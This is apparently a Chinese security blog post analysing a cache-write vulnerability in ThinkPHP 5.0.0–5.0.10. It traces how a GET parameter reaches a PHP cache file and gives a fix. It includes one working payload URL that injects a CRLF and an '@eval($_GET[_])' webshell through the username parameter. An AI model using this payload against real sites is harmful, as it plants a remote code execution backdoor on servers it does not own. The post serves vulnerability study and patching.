HacKerQWQ的博客空间

TP5写WebShell(5.0.0-5.0.10)

Word count: 310Reading time: 1 min
2021/07/24 Share

漏洞介绍

缓存写入功能调用了think\cache\driver\File类的Set方法,将获取的变量值写入runtime下的php文件,文件名为md5值,由于一般thinkphp将目录设置在public目录下,因此该漏洞需要配合文件包含或者错误安全配置导致php文件可直接访问到

漏洞演示

1
http://localhost/?username=mochazz123%0d%0a@eval($_GET[_]);//

image-20210724183929185

漏洞分析

漏洞入口

image-20210724161453792

通过thinkphp/helper.php的input读取username变量,比如input(“get.username”)的话就是使用get方法读取username变量

image-20210724161919369

然后在thinkphp/library/think/Cache.php中实现think\cache\driver\File类的实现和缓存,这里跟进set方法看看。

image-20210724162323248

文件名和路径通过getCacheKey方法获取runtime下的存储目录名(通过name生成的md5的前2位作为目录名),然后php缓存文件的文件名是md5值,如果$options['prefix']有值的话,目录还要多一层。

image-20210724162558828

回到set方法,获取到username的值之后就判断$options['data_compress']是否为true,默认为false,因此数据直接就写入到前面生成的php缓存文件中了

image-20210724163012558

image-20210724163318355

攻击总结图

tp5写shell

漏洞修复

在php标签中添加exit()执行php代码前退出。

5

CATALOG
  1. 1. 漏洞介绍
  2. 2. 漏洞演示
  3. 3. 漏洞分析
  4. 4. 攻击总结图
  5. 5. 漏洞修复